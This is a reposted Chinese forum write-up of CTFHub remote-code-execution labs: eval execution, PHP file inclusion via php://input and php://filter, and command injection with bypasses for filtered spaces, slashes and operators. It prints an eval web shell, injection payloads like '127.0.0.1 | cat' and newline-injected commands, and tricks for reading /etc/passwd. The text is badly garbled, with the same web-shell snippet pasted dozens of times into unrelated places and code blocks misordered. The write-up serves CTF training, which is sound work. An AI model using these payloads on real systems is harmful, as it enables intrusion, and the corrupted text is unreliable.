CTFHub-RCE漏洞wp

莫张周刘王  论坛元老 | 2025-2-12 11:15:48 | 来自手机 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 1013|帖子 1013|积分 3039

弁言

题目共有如下类型

什么是RCE漏洞

RCE漏洞,全称是Remote Code Execution漏洞,翻译成中文就是远程代码执行漏洞。顾名思义,这是一种安全漏洞,允许攻击者在受害者的系统上远程执行恣意代码
eval执行

分析源码:
  1. <?php
  2. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  3.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  4. } else {
  5.     highlight_file(__FILE__);
  6. }
  7. ?>
复制代码
执行命令查看当前目次
  1. ?cmd=system("ls");
复制代码

查看根目次或者上级目次一个一个查找
  1. ?cmd=system("ls /");
  2. ?cmd=system("ls ../../../");
复制代码
发现flag文件

cat /flag_8751即可

文件包含

文件包含

源码审计
  1. <?php
  2. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  3.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  4. } else {
  5.     highlight_file(__FILE__);
  6. }
  7. ?> <hr>i have a [url=https://www.cnblogs.com/shell.txt]shell[/url], how to use it ? <?php
  8. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  9.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  10. } else {
  11.     highlight_file(__FILE__);
  12. }
  13. ?>  //提示有个shell.txt文件,内容为
复制代码
利用文件包含读取shell.txt

先了解一下$_REQUEST函数,是PHP 中一个非常方便的超级全局变量,它处理来自用户输入的数据。详细来说,$_REQUEST 变量包含了通过 GETPOSTCOOKIE 方法传递的数据 ,所以可以利用POST或cookie传入ctfhub变量
查看根目次

查找flag

php://input

源码分析
  1. <?php
  2. if (isset($_GET['file'])) {                                //检查是否存在file参数
  3.     if ( substr($_GET["file"], 0, 6) === "php://" ) {      //检查参数前6位是否为 php:// ,是则执行
  4.         include($_GET["file"]);
  5.     } else {
  6.         echo "Hacker!!!";
  7.     }
  8. } else {
  9.     highlight_file(__FILE__);
  10. }
  11. ?>
  12. // 给了应该phpinfo.php超链接
复制代码
查看phpinfo.php文件,发现此处

抓包构造命令执行,因为有php://input,故会执行传入的php代码

查看flag

这里也可以利用php伪协议,会得到一串base64加密的flag,解密即可

或者:

读取源代码

源码审计
  1. i don't have shell, how to get flag? flag in /flag <?php
  2. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  3.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  4. } else {
  5.     highlight_file(__FILE__);
  6. }
  7. ?>  <?php
  8. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  9.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  10. } else {
  11.     highlight_file(__FILE__);
  12. }
  13. ?>  <?php
  14. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  15.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  16. } else {
  17.     highlight_file(__FILE__);
  18. }
  19. ?>  <?php
  20. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  21.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  22. } else {
  23.     highlight_file(__FILE__);
  24. }
  25. ?>  <?php
  26. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  27.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  28. } else {
  29.     highlight_file(__FILE__);
  30. }
  31. ?>  <?php
  32. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  33.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  34. } else {
  35.     highlight_file(__FILE__);
  36. }
  37. ?>  <?php
  38. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  39.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  40. } else {
  41.     highlight_file(__FILE__);
  42. }
  43. ?>  <?php
  44. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  45.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  46. } else {
  47.     highlight_file(__FILE__);
  48. }
  49. ?>  <?php
  50. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  51.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  52. } else {
  53.     highlight_file(__FILE__);
  54. }
  55. ?>  <?php
  56. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  57.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  58. } else {
  59.     highlight_file(__FILE__);
  60. }
  61. ?>  <?php
  62. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  63.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  64. } else {
  65.     highlight_file(__FILE__);
  66. }
  67. ?>  <?php
  68. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  69.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  70. } else {
  71.     highlight_file(__FILE__);
  72. }
  73. ?>  <?php
  74. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  75.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  76. } else {
  77.     highlight_file(__FILE__);
  78. }
  79. ?>  <?php
  80. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  81.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  82. } else {
  83.     highlight_file(__FILE__);
  84. }
  85. ?>  //flag在根目次
复制代码
php伪协议读取flag
  1. ?file=php://filter/read=/resource=/flag
复制代码

远程包含

源码审计
  1. [/code]给了一个[b]phpinfo()[/b]界面,根据题目提示,还是文件包含题,抓包利用[b]php;//input[/b]读取
  2. 查看[b]根目次[/b]
  3. [align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250208180906252.png[/img][/align]
  4. 读取[b]flag[/b]
  5. [align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250208181001573.png[/img][/align]
  6. [size=5]命令注入[/size]
  7. [list]
  8. [*]这里需要了解一下常见的命令分隔符
  9. [*][b]; :[/b] 无论前面是否执行,后面都执行
  10. [*][b]||(逻辑或):[/b]前命令失败执行后命令,假如前命令成功则不执行后命令
  11. [*][b]| :[/b]前者结果作为后者参数使用
  12. [*][b]&& :[/b]前命令成功执行后命令,假如失败则不执行后命令
  13. [*][b]\n:[/b]换行符,url编码%0a
  14. [*][b]%0a[/b] <?php
  15. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  16.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  17. } else {
  18.     highlight_file(__FILE__);
  19. }
  20. ?> (换行)
  21. [*][b]%0d[/b] <?php
  22. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  23.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  24. } else {
  25.     highlight_file(__FILE__);
  26. }
  27. ?> (回车)
  28. [/list][size=4]无过滤[/size]
  29. 没有做任何过滤
  30. 先[b]ping[/b]一下
  31. [align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250209120831022.png[/img][/align]
  32. 查看[b]该目次[/b],使用 [b]127.0.0.1; ls[/b] 也是可以的
  33. [align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250209120910155.png[/img][/align]
  34. 查看[b]26398804916519.php[/b]
  35. [code]127.0.0.1 | cat 26398804916519.php
复制代码
发现flag

过滤cat

查看源码:
  1. [/code]先查看当前目次,得到flag文件 <?php
  2. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  3.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  4. } else {
  5.     highlight_file(__FILE__);
  6. }
  7. ?> flag_11971489425983.php
  8. [align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250209123050233.png[/img][/align]
  9. 这里介绍几个绕过空格的方法
  10. [code]$IFS$9 <?php
  11. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  12.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  13. } else {
  14.     highlight_file(__FILE__);
  15. }
  16. ?>  %09 <?php
  17. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  18.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  19. } else {
  20.     highlight_file(__FILE__);
  21. }
  22. ?>  <?php
  23. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  24.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  25. } else {
  26.     highlight_file(__FILE__);
  27. }
  28. ?>  <?php
  29. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  30.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  31. } else {
  32.     highlight_file(__FILE__);
  33. }
  34. ?>  <?php
  35. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  36.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  37. } else {
  38.     highlight_file(__FILE__);
  39. }
  40. ?> < <?php
  41. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  42.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  43. } else {
  44.     highlight_file(__FILE__);
  45. }
  46. ?>  <?php
  47. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  48.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  49. } else {
  50.     highlight_file(__FILE__);
  51. }
  52. ?>  {cat,flag}
复制代码
可以绕过空格
  1. $IFS$9   %09    <>    <     {cat,flag}
复制代码

过滤目次分隔符

几种常见的 / 符号绕过方法
  1. 改变工作目次:cd xxx <?php
  2. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  3.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  4. } else {
  5.     highlight_file(__FILE__);
  6. }
  7. ?>  避免使用 / 符号环境变量截取: ${PATH:0:1} <?php
  8. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  9.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  10. } else {
  11.     highlight_file(__FILE__);
  12. }
  13. ?>  ${HOME:0:1}编码绕过:8进制: $(printf "\57") <?php
  14. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  15.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  16. } else {
  17.     highlight_file(__FILE__);
  18. }
  19. ?>  <?php
  20. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  21.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  22. } else {
  23.     highlight_file(__FILE__);
  24. }
  25. ?> 16进制: $'\x2f' <?php
  26. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  27.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  28. } else {
  29.     highlight_file(__FILE__);
  30. }
  31. ?>  <?php
  32. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  33.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  34. } else {
  35.     highlight_file(__FILE__);
  36. }
  37. ?>  <?php
  38. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  39.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  40. } else {
  41.     highlight_file(__FILE__);
  42. }
  43. ?> $'\57'调用命令生成:a=$(printf "/"); cat ${a}etc${a}passwd <?php
  44. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  45.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  46. } else {
  47.     highlight_file(__FILE__);
  48. }
  49. ?>  <?php
  50. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  51.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  52. } else {
  53.     highlight_file(__FILE__);
  54. }
  55. ?>  cat <?php
  56. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  57.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  58. } else {
  59.     highlight_file(__FILE__);
  60. }
  61. ?> `echo /`etc`echo /`passwd通配符替换(部分路径已知):/???/cat /???/passwd <?php
  62. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  63.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  64. } else {
  65.     highlight_file(__FILE__);
  66. }
  67. ?>  <?php
  68. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  69.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  70. } else {
  71.     highlight_file(__FILE__);
  72. }
  73. ?>  <?php
  74. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  75.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  76. } else {
  77.     highlight_file(__FILE__);
  78. }
  79. ?>  <?php
  80. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  81.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  82. } else {
  83.     highlight_file(__FILE__);
  84. }
  85. ?>  <?php
  86. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  87.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  88. } else {
  89.     highlight_file(__FILE__);
  90. }
  91. ?>  <?php
  92. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  93.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  94. } else {
  95.     highlight_file(__FILE__);
  96. }
  97. ?> //匹配 /bin/cat利用反斜杠:cat \/etc\/passwd协议替换:file_get_contents('glob:///*');
复制代码
提示:

源码
  1. [/code]查看当前目次
  2. [align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250209163512670.png[/img][/align]
  3. 进入该目次并查看
  4. [align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250209163601247.png[/img][/align]
  5. 执行以下命令读取flag文件
  6. [code]<?php
  7. $res = FALSE;
  8. if (isset($_GET['ip']) && $_GET['ip']) {
  9.     $ip = $_GET['ip'];
  10.     $m = [];
  11.     if (!preg_match_all("/\//", $ip, $m)) {         //过滤了 / 符号
  12.         $cmd = "ping -c 4 {$ip}";
  13.         exec($cmd, $res);
  14.     } else {
  15.         $res = $m;
  16.     }
  17. }
  18. ?>
复制代码
得到flag

过滤运算符

查看源码,可以利用 绕过
  1. [/code]查看当前目次
  2. [align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250209170350520.png[/img][/align]
  3. 执行以下命令
  4. [code]<?php
  5. $res = FALSE;
  6. if (isset($_GET['ip']) && $_GET['ip']) {
  7.     $ip = $_GET['ip'];
  8.     $m = [];
  9.     if (!preg_match_all("/(\||\&)/", $ip, $m)) {          //利用正则匹配过滤了 | 和 &
  10.         $cmd = "ping -c 4 {$ip}";
  11.         exec($cmd, $res);
  12.     } else {
  13.         $res = $m;
  14.     }
  15. }
  16. ?>
复制代码
得到flag

综合过滤训练

源码审计
  1. [/code]利用换行符[b]%0a绕过[/b]查看当前目次
  2. [align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250209171041032.png[/img][/align]
  3. 查看根目次,没有有用信息,flag应该存在[b]flag_is_here[/b]目次下
  4. [align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250209171243444.png[/img][/align]
  5. 执行以下命令
  6. [code]?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0als <?php
  7. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  8.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  9. } else {
  10.     highlight_file(__FILE__);
  11. }
  12. ?>  <?php
  13. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  14.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  15. } else {
  16.     highlight_file(__FILE__);
  17. }
  18. ?>  <?php
  19. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  20.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  21. } else {
  22.     highlight_file(__FILE__);
  23. }
  24. ?>  <?php
  25. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  26.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  27. } else {
  28.     highlight_file(__FILE__);
  29. }
  30. ?>  //flag被过滤,需要绕过
复制代码

查看该flag
  1. ?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0anl$IFS$9f\lag_172132798218075.php <?php
  2. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  3.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  4. } else {
  5.     highlight_file(__FILE__);
  6. }
  7. ?> //绕过cat
复制代码


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

莫张周刘王

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表